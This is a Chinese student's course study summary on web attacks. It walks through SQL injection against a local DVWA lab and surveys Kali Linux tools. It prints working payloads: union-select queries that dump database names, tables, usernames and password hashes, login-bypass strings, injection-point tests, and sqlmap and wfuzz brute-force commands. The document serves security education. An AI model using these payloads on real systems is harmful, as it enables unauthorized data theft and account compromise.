《网络攻防技术与实践》第五周学习总结
教材十一、十二章学习总结
教材十一、二章主要概述了Web应用体系结构各个层面上所面对的安全威胁,以及针对Web应用的多样化攻击渠道,Web浏览器攻击技术。并通过实例介绍了目前Web应用程序攻击技术——SQL注入与XSS跨站脚本。Web浏览器、网页木马、钓鱼技术等内容。
sql注入常用技术包括:
- 采用非主流通道技术
- 避开输入过滤技术
- 使用特殊的字符
- 强制产生错误
- 使用条件语句
- 利用存储过程
- 推断技术
- ........
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。在虚拟机上需要下载安装,由于在上学期Linux课时已经完成了此步骤,所以直接可以拿来操作。
教材实践学习:Sql 注入漏洞
1.Sql 注入产生原因及威胁:
当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句
这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。
Sql 注入带来的威胁主要有如下几点:
- 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
- 绕过认证,列如绕过验证登录网站后台。
- 注入可以借助数据库的存储过程进行提权等操作
2.Sql 注入实验一.猜解数据库
进入Firefox浏览器,输入网址: localhost/dvwasql, 点击create/Reset Database创建数据库。进入登录界面,默认用户名为 admin 密码为 password
将Security 级别调整为low:
进入 SQL injection页面开始注入,先输入 1 ,查看回显 (URL中ID=1,说明php页面通过get方法传递参数):
那实际上后台执行了什么样的Sql语句呢?点击 view source
查看源代码:
可以看到,实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1';
如果我们不按常理出牌,比如在输入框中输入 1' order by 1#
实际执行的Sql语句就会变成:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;
(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)
这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。
输入1' order by 1#
和 1' order by 2#
时都返回正常:
当输入 1' order by 3#时,返回错误:
由此可知,users表中只有两个字段,数据为两列。
接下来我们使用 union select联合查询继续获取信息。
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。
输入1' union select database(),user()#
进行查询 :
- database()将会返回当前网站所使用的数据库名字.
- user()将会返回执行当前查询的用户名.
实际执行的Sql语句是 :
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#
;
`
通过上图返回信息,我们成功获取到:
- 当前网站使用数据库为 dvwa .
- 当前执行查询用户名为 root@localhost
同理我们再输入 1' union select version(),@@version_compile_os#进行查询:
- version() 获取当前数据库版本.
- @@version_compile_os 获取当前操作系统。
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;
通过上图返回信息,我们又成功获取到:
- 当前数据库版本为 : 5.6.31-0ubuntu0.15.10.1.
- 当前操作系统为 : debian-linux-gnu
接下来我们尝试获取 dvwa 数据库中的表名。
information_schema
是 mysql 自带的一张表,这张数据表保存了Mysql服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段 table_name
和 table_schema
,分别记录DBMS中的存储的表名和表名所在的数据库。
我们输入 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
进行查询:
实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
通过上图返回信息,我们再获取到:
- dvwa 数据库有两个数据表,分别是 guestbook 和 users
有些同学肯定还不满足目前获取到的信息,那么我们接下来尝试获取重量级的用户名、密码。
由经验我们可以大胆猜测users表的字段为user 和 password,所以输入:1' union select user,password from users#
进行查询:
实际执行的 Sql 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#
可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到www.cmd5.com进行解密。
3.Sql 注入实验二.验证绕过
接下来我们再试试另一个利用 Sql 漏洞绕过登录验证的实验。在Firefox 浏览器,输入网址 : localhost/sql2 , 按照下图所示顺序,初始化数据:
准备工作完成之后,我们进入首页发现这是一个普通的登录页面,只要输入正确的用户名和密码就能登录成功。
我们先尝试随意输入用户名 123 和密码 123 登录:
从错误页面中我们无法获取到任何信息。
看看后台代码如何做验证的:
实际执行的操作时:
select * from users where username='123' and password='123'
当查询到数据表中存在同时满足 username 和 password 字段时,会返回登录成功。
按照第一个实验的思路,我们尝试在用户名中输入123' or 1=1
#, 密码同样输入 123' or 1=1 #
为什么能够成功登陆呢?因为实际执行的语句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照 Mysql 语法,# 后面的内容会被忽略,所以以上语句等同于(实际上密码框里不输入任何东西也一样):
select * from users where username='123' or 1=1
由于判断语句 or 1=1 恒成立,所以结果当然返回真,成功登录。
我们再尝试不使用 # 屏蔽单引号,采用手动闭合的方式:
我们尝试在用户名中输入 123' or '1'='1
, 密码同样输入123' or '1'='1
(不能少了单引号,否则会有语法错误):
实际执行的 Sql 语句是:
select * from users where username='123' or '1'='1' and password='123' or '1'='1`
两个 or 语句使 and 前后两个判断永远恒等于真,所以能够成功登录。
4.判断Sql注入点
通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX
对 Sql 注入的判断,主要有两个方面:
- 判断该带参数的 Url 是否存在 Sql 注入?
- 如果存在 Sql 注入,那么属于哪种 Sql 注入?
可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的 动态网页且此网页访问了数据库,那么就有可能存在 Sql 注入。如果程序员没有足够的安全意识,没有进行必要的字符过滤,存在SQL注入的可能性就非常大。
4.1判断是否存在 Sql 注入漏洞
最为经典的单引号判断法:
在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
注:如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入
4.2判断 Sql 注入漏洞的类型
通常 Sql 注入漏洞分为 2 种类型:
- 数字型
- 字符型
其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。
4.2.1 数字型判断:
当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1
和 and 1=2
来判断:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1
页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2
页面运行错误,则说明此 Sql 注入为数字型注入。
原因如下:
当输入 and 1=1
时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=1
没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2
时,后台执行 Sql 语句:
select * from <表名> where id = x and 1=2
没有语法错误但是逻辑判断为假,所以返回错误。
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
4.2.2 字符型判断:
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:
select * from <表名> where id = 'x'
这种类型我们同样可以使用 and '1'='1
和 and '1'='2
来判断:
Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1
页面运行正常,继续进行下一步。
Url 地址中继续输入http://xxx/abc.php?id= x' and '1'='2
页面运行错误,则说明此 Sql 注入为字符型注入。
原因如下:
当输入 and '1'='1时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='1'
语法正确,逻辑判断正确,所以返回正确。
当输入 and '1'='2时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='2'
语法正确,但逻辑判断错误,所以返回正确。
视频学习总结
一、kali漏洞分析之数据库评估(一)
WEB层与数据库连接的漏洞连接在安全测试中并不少见,OWASP中的SQL注入漏洞便是因此产生。下面对kali Linux对数据库评估工具的分类进行介绍。
1.BBQSql(半自动)
BBQSql是一个Python编写的盲注工具,当检测可疑的注入漏洞时会很有用,允许客户自定义参数。
2.DBPwAudit(数据库用户名密码枚举工具)
3.HexorBase(开源)图形化的密码破解与连接工具
有四个数据库类型:
4.Jsql Injection
Jsql是一款轻量级安全测试工具,可以检测SQL注入漏洞。它跨平台(windows,linux,Mac OSX,Solaris)/开源且免费。将存在注入漏洞的URL贴进来就可以进行相应的漏洞利用;图形化界面比较亲民,但使用效果有待改善。
5.MDBTools
包括MDB-Exprot,以及MDB-Dump, mdb-parsecsv,mdb-sql,mdb-tables等子工具,具体环境具体使用。
6.Oracle Scanner
Oscanner是一个用java开发的Oracle评估工具,它是基于插件的结果,当前由两个插件可以做:
-Sid列举、口令测试、列举Oracle版本、列举账号角色、特权、哈希、,列举审计信息、列举口令策略、列举数据库链接。
7.SIDGusser
同样是针对Oracle的SID进行暴力枚举工具,SID为Oracle实例名,Oracle连接字符串,通过实例名+用户+密码连接。
8.SqIDICT 用户名枚举工具,通过Wine运行
一、kali漏洞分析之数据库评估(二)
1.tnscmd10g 允许向Oracle注入命令(不常用)
2.Sqlsus
Sqlsus是一个开源的MYSQL注入和接管工具,Sqlsus使用perl编写,基于命令行界面,可以获取数据库结构,注入自己的SQL语句,从服务区下载文件,爬行web站点可写目录,上传和控制后门,克隆数据库等等。最好用的两点就是注射获取数据速度非常快,可自动搜索可写目录。
可以看到Sqlsus中只有四个参数命令,要注入语句,首先-g生成一个文件,进行编辑,在文件中标红的框内插入想要测试的语句,写入地址。
启动并测试命令:sqlsus test.conf
获取数据库数据
查看全部数据库名字:sqlsus> get databases
设定数据库: sqlsus> set databases
获取表: sqlsus> get tables
3.Sqlninja(sql注入的神器)
Sqlninja是一款perl编写的,侧重于获得一个shell。Sqlninja是专门针对Microsoft SQLServer的sql注入工具。可找到远程SQL服务器的版本和特征;对管理员口令“sa”进行强力攻击;一旦找到口令就将特权提升到“sa”权限;如果原始的xp_cmdshell被禁用后,就创建一个定制的xp_cmdshell;不需要FTP连接;为了找到目标网络的防火墙所允许的端口,可以实施针对目标SQL服务器的TCP/UDP端口扫描;逃避技术,使注入代码“模糊”不清,并且混淆/绕过基于强命的IPS和应用层防火墙;采用“盲目执行”攻击模式,可以用于发布命令并执行诊断;如果得到权限为sa,可以结合msf进一步对目标主机进行渗透。
4.Sqlmap
SQLMAP是一个开源的渗透测试工具,是用Python编写。主要用于自动化的侦测和实施SQL注入攻击以及渗透数据库服务器。配有强大的侦测引擎,适用于高级渗透测试用户,不仅可以获得不同的数据库指纹信息,还可以从数据库中提取数据,有很强大的抓取数据的能力。
sql -u "http://xxxx/id/1*" 伪静态
--sql-shell
SQLMAP还有很多众多功能,如绕过WAF的tamper,修改UA的random-agent等等参数,需要在实际中灵活使用。
三、kali漏洞分析之Web应用代理
1.Burp Suite
是用于攻击web应用程序集成平台。通过默认端口8080上运行,使用这个代理,可以截获客户端到web应用程序的数据包。
打开后发现有很多标签页:
监听端口:
这时我们访问一个地址,比如百度,发现并不能马上打开一个界面,此时Burp Suite多了一个get请求:
点击forward,这时百度页面打开:
当利用百度查询信息时,发现Burp Suite多了几个get请求,如果将其撤回,那么页面出错:
2.OwaspZAP
攻击代理,是一款查找网页的应用程序漏洞综合渗透测试工具。包含拦截代理,被动处理,暴力破解,端口扫描,以及蜘蛛搜索等功能。页面中的中文标签比较亲民:
3.paros
paros proxy,这是一个对Web应用程序的漏洞进行评估的代理程序,基于Java的Web代理程序,可评估Web应用程序的漏洞。它支持动态的编辑/查看 HTTP/HTTPS,从而改变cookies和表单字段等项目。它包括一个Web通信记录程序,Web圈套程序(spider),hash计算器,还有一个可以测试常见的Web应用程序攻击(如SQL注入式攻击和跨站脚本攻击)的扫描器。该工具检查漏洞形式包括:SQL注入、跨站脚本攻击、目录遍历等。
4.vega扫描漏洞及代理
这是一个开源的web应用程序安全测试平台,vega能够帮助你验证SQL注入、跨站脚本(XSS)、敏感信息泄露和其他一些安全漏洞。vega使用java编写,有GUI,可以在Linux、OS X和windows下运行。vega类似于paros proxy、 Fiddler、skipfish and ZAproxy
5. WebScarab
这是一款代理软件,包括HTTP代理,网络爬行、网络蜘蛛,会话ID分析,自动脚本借口,模糊测试工具,WEB格式的编码/解码,WEB服务描述语言和SOAP解析器等功能模块。WebScarab基于GNU协议,使用Java编写,是WebGoat中所使用的工具之一。
端口监听:
四、kali漏洞分析之BurpSuite
1.配置监听端口,配置浏览器,在大多数浏览器,只需要打开设置-网络-代理,然后使用“localhost”和端口“8080”(默认),然后保存更新的设置。
2.爬虫与扫描
3.测试暴力破解表单账户密码
4.Reapeater 改包重放模块
5.Decoder模块
6.compare模块
比较两个请求包或返回包的的不同之处:
7.插件模块
五、kali漏洞分析之Fuzz工具
1.Bed.pl
Bed是一个纯文本协议的Fuzz工具,能够检查常见的漏洞,如缓冲区溢出,格式串漏洞,整数溢出等。
可以针对不同的协议使用不同的插件
-s 针对FTP协议,FTP参数
-t 目标IP地址
-p 目标端口
-o timeout
发送一连串畸形数据包,尝试使程序报错,进行判断。
2.Fuzz_ipv6
THC出品的针对IPV6协议的模糊测试工具
3.0hrwurm(RTP fuzzer)(不常用)
4.PowerFuzzer
5.Wfuzz
针对WEB应用的模糊测试工具,可以进行web应用暴力猜解,也支持对网站目录、登录信息、应用资源文件等的暴力猜解,还可以进行get及post参数的猜解,sql注入、xss漏洞的测试等。所有功能依赖于字典。
登录get请求,登录页面口令猜解,忽略404页面
使用参数如:
wfuzz -c -z file,users.txt -z file,pass.txt -hc 404 http://www.site.com/log.asp?user=FUZZ&pass=FUZZ
页面数目猜解
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something}
与BurpSuite相比更轻量
6.SFuzz:Simple-Fuzzer
7.XSSer
针对XSS漏洞的挖掘
xsser --gtk 图形化界面
对一个页面或点进行xss测试,判断是否有XSS的漏洞